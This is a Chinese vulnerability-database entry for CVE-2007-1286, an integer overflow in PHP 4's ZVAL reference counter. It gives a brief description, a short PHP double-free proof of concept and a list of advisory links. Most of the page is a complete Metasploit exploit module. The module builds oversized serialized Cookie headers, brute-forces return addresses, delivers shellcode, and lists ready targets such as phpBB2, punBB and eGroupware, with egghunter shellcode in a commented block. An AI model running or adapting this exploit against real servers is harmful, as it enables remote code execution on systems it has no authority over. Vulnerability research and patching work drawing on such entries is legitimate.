PHP ZVAL引用计数器整数溢出漏洞

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漏洞ID 1112339 漏洞类型 边界条件错误
发布时间 2007-03-01 更新时间 2007-03-07
CVE编号 CVE-2007-1286 CNNVD-ID CNNVD-200703-202
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/9939
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-202
|漏洞详情
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。PHP的ZVAL结构中引用计数实现上存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。在PHP4中内部描述变量的ZVAL结构类似于:struct_zval_struct{/*Variableinformation*/zvalue_valuevalue;/*value*/zend_uchartype;/*activetype*/zend_ucharis_ref;zend_ushortrefcount;};在设计这个结构时引用计数器为16位宽,这样在32位系统上整个结构为8个字节长;在PHP5中这个字段为32位宽,因为16位太容易溢出,PHP对引用计数器的溢出也没有内部的防范措施。但对于PHP4这意味着以下代码会溢出计数器,在脚本端触发变量的双重释放:$var="POC";for($i=0;$i<0x10001;$i++){$arr[]=&$var;}攻击者可以利用这个漏洞破坏内存,可能执行任意指令,从而绕过disable_functions之类的安全限制。此外由于很多老版本PHP应用程序仍对用户提供的数据使用unserialize(),因此也可能远程触发这个漏洞。Unserialize()函数以不安全的方式使用已还原序列化的__wakeup()方式,可能导致远程执行任意指令。
|漏洞EXP
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Brute
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
			'Description'    => %q{
				This module exploits an integer overflow vulnerability in the unserialize()
			function of the PHP web server extension. This vulnerability was patched by
			Stefan in version 4.5.0 and applies all previous versions supporting this function.
			This particular module targets numerous web applications and is based on the proof
			of concept provided by Stefan Esser. This vulnerability requires approximately 900k
			of data to trigger due the multiple Cookie headers requirement. Since we
			are already assuming a fast network connection, we use a 2Mb block of shellcode for
			the brute force, allowing quick exploitation for those with fast networks. 
			
			One of the neat things about this vulnerability is that on x86 systems, the EDI register points
			into the beginning of the hashtable string. This can be used with an egghunter to
			quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
			is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
			module is more reliable across a wider range of systems.
			
			
			},
			'Author'         => 
				[ 
					'hdm',                                        # module development
					'GML <grandmasterlogic [at] gmail.com>',      # module development and debugging
					'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited
				], 
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2007-1286'],
					['OSVDB', '32771'],
					['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
				},
			'Targets'        => 
				[
				
					#
					# 64-bit SuSE:    0x005c0000
					# Backtrack 2.0:  0xb797a000
					# Gentoo:         0xb6900000
					#
					[ 'Linux x86 Generic', 
						{						
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],					
					[ 'Linux x86 phpBB2', 
						{
							'DefaultCookie' => 'phpbb2mysql_data',
							'DefaultURI'    => '/phpBB2/faq.php',
							'Signature'     => /Powered\s+by.*phpBB/,							
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 punBB', 
						{
							'DefaultCookie' => 'punbb_cookie',
							'DefaultURI'    => '/index.php',
							'Signature'     => /Powered\s+by.*PunBB/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 WWWThreads', 
						{
							'DefaultCookie' => 'forum_cookie',
							'DefaultURI'    => '/index.php',
							'Signature'     => /Powered\s+by.*WWWThreads/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 Deadman Redirect', 
						{
							'DefaultCookie' => 'authcookie',
							'DefaultURI'    => '/dmr/dmr.php',
							'Signature'     => /document\.f\.userdata\.focus/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 PhpWebGallery', 
						{
							'DefaultCookie' => 'pwg_remember',
							'DefaultURI'    => '/phpwebgallery/index.php',
							'Signature'     => /Powered\s+by.*phpwebgallery/msi,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 Ariadne-CMS', 
						{
							'DefaultCookie' => 'ARCookie',
							'DefaultURI'    => '/ariadne/loader.php/',
							'Signature'     => /Ariadne is free software/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],
					[ 'Linux x86 ProMA', 
						{
							'DefaultCookie' => 'proma',
							'DefaultURI'    => '/proma/index.php',
							'Signature'     => /Change Account Information/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					],													
					[ 'Linux x86 eGroupware', 
						{
							'DefaultCookie' => 'eGW_remember',
							'DefaultURI'    => '/egroupware/login.php',
							'Signature'     => /www.egroupware.org/,
							'Platform'      => 'linux', 
							'Arch'          => [ ARCH_X86 ],
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xb6000400 },
									'Stop'  => { 'Ret' => 0xbfff0000 },
									'Step'  => 1024*1024
								}							
						}
					]						
				],
			'DisclosureDate' => 'Mar 04 2007'))
			
			register_options(
				[
					OptString.new('URI', [false, "The path to vulnerable PHP script"]),
					OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
				], self.class)
	end


	def check
		print_status("Checking for a vulnerable PHP version...")

		#
		# Pick the URI and Cookie name
		#
		cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
		uri_path    = datastore['URI']        || target['DefaultURI']

		if(not cookie_name)
			raise RuntimeError, "The COOKIENAME option must be set"
		end
		
		if(not uri_path)
			raise RuntimeError, "The URI option must be set"
		end
				
		res = send_request_cgi({
			'uri'		  => uri_path,
			'method'	  => 'GET'
		}, 5)
		
		php_bug = false
		
		if (not res)
			print_status("No response from the server")
			return Exploit::CheckCode::Safe
		end
		
		if (res.code != 200)
			print_status("The server returned #{res.code} #{res.message}")
			return Exploit::CheckCode::Safe	
		end
		
		if (
			(res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
			(res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
		   )
		   
			php_raw = $1
			php_ver = php_raw.split('.')

			if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
				print_status("The server runs a vulnerable version of PHP (#{php_raw})")
				php_bug = true
			else
				print_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
				return Exploit::CheckCode::Safe	
			end
		end
		
		# Detect the phpBB cookie name
		if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/)
			print_status("The server may require a cookie name of '#{$1}_data'")
		end

		if(target and target['Signature'])
			if (res.body and res.body.match(target['Signature'])) 
				print_status("Detected target #{target.name}")
			else
				print_status("Did not detect target #{target.name}")
			end

		end

		return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears
	end


	def brute_exploit(target_addrs)
	
		zvalref   = encode_semis('i:0;R:2;')

#
# Use this if we decide to do 'jmp edi' returns vs brute force
#
=begin
		# Linux specific egg-hunter
		tagger = "\x90\x50\x90\x50"
		hunter = 
			"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
			"\x3c\xf2\x74\xf1\xb8" +
			tagger +
			"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

		egghunter = "\xcc" * 39
		egghunter[0, hunter.length] = hunter
		
		hashtable = "\xcc" * 39
		hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
		
		hashtable[20, 4] = [target_addrs['Ret']].pack('V')
		hashtable[32, 4] = [target_addrs['Ret']].pack('V')
=end

		#
		# Just brute-force addresses for now
		# 
		tagger    = ''
		egghunter = rand_text_alphanumeric(39)
		hashtable = rand_text_alphanumeric(39)
		hashtable[20, 4] = [target_addrs['Ret']].pack('V')
		hashtable[32, 4] = [target_addrs['Ret']].pack('V')


		#
		# Pick the URI and Cookie name
		#
		cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
		uri_path    = datastore['URI']        || target['DefaultURI']

		if(not cookie_name)
			raise RuntimeError, "The COOKIENAME option must be set"
		end
		
		if(not uri_path)
			raise RuntimeError, "The URI option must be set"
		end
		
		# Generate and reuse the original buffer to save CPU
		if (not @saved_cookies)
		
			# Building the malicious request
			print_status("Creating the request...")
				
			# Create the first cookie header to get this started
			cookie_fun = "Cookie: #{cookie_name}="
			cookie_fun << Rex::Text.uri_encode(
				'a:100000:{s:8:"' + 
				rand_text_alphanumeric(8) +
				'";a:3:{s:12:"' + 
				rand_text_alphanumeric(12) + 
				'";a:1:{s:12:"' +
				rand_text_alphanumeric(12) +
				'";i:0;}s:12:"' +
				rand_text_alphanumeric(12) +
				'";'+
				'i:0;s:12:"' +
				rand_text_alphanumeric(12) +
				'";i:0;}'
			)
			cookie_fun << zvalref * 500
			cookie_fun << Rex::Text.uri_encode('s:2:"')
			cookie_fun << "\r\n"

			refcnt = 1000
			refmax = 65535

			# Keep adding cookie headers...
			while(refcnt < refmax) 

				chead   = 'Cookie: ';
				chead  << encode_semis('";N;')

				# Stay within the 8192 byte limit
				0.upto(679) do |i|
					break if refcnt >= refmax
					refcnt += 1

					chead << zvalref
				end
				chead << encode_semis('s:2:"')
				cookie_fun << chead + "\r\n"
			end

			# The final header, including the hashtable with return address
			cookie_fun << "Cookie: "
			cookie_fun << Rex::Text.uri_encode('";N;')
			cookie_fun << zvalref * 500	
			
			@saved_cookies = cookie_fun
		end

		# Generate and reuse the payload to save CPU time
		if (not @saved_payload)
			@saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
		end
		
		cookie_addrs = Rex::Text.uri_encode(
			's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
		) + "\r\n"

		print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
		res = send_request_cgi({
			'uri'		  => uri_path,
			'method'	  => 'POST',
			'raw_headers' => @saved_cookies + cookie_addrs,
			'data'        => @saved_payload
		}, 1)

		
		if res
			failed = false
			
			print_status("Received a response: #{res.code} #{res.message}")

			if (res.code != 200)
				print_status("The server returned a non-200 response, indicating that the exploit failed.")
				failed = true			
			end
						
			if (not failed and (res.body and res.body.length > 0))
				print_status("The server returned a real response, indicating that the exploit failed.")
				failed = true
			end
			
			if (failed)
				print_status("Please verify the URI and COOKIENAME parameters.")
				print_line('')
				print_line("*" * 40)
				print_line(res.body)
				print_line("*" * 40)
				print_line('')
								
				raise RuntimeError, "Exploit settings are probably wrong"				
			end
		else
			print_status("No response from the server")
		end

	end

	def encode_semis(str)
		str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
	end

end
|参考资料

来源:MISC
链接:http://www.php-security.org/MOPB/MOPB-04-2007.html
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1268
来源:XF
名称:php-zval-code-execution(32796)
链接:http://xforce.iss.net/xforce/xfdb/32796
来源:TRUSTIX
名称:2007-0009
链接:http://www.trustix.org/errata/2007/0009/
来源:BID
名称:22765
链接:http://www.securityfocus.com/bid/22765
来源:BUGTRAQ
名称:20070418rPSA-2007-0073-1phpphp-mysqlphp-pgsql
链接:http://www.securityfocus.com/archive/1/archive/1/466166/100/0/threaded
来源:OSVDB
名称:32771
链接:http://www.osvdb.org/32771
来源:MANDRIVA
名称:MDKSA-2007:088
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2007:088
来源:MANDRIVA
名称:MDKSA-2007:087
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2007:087
来源:VUPEN
名称:ADV-2007-2374
链接:http://www.frsirt.com/english/advisories/2007/2374
来源:VUPEN
名称:ADV-2007-1991
链接:http://www.frsirt.com/english/advisories/2007/1991
来源:DEBIAN
名称:DSA-1283
链接:http://www.debian.org/security/2007/dsa-1283
来源:DEBIAN
名称:DSA-1282
链接:http://www.debian.org/security/20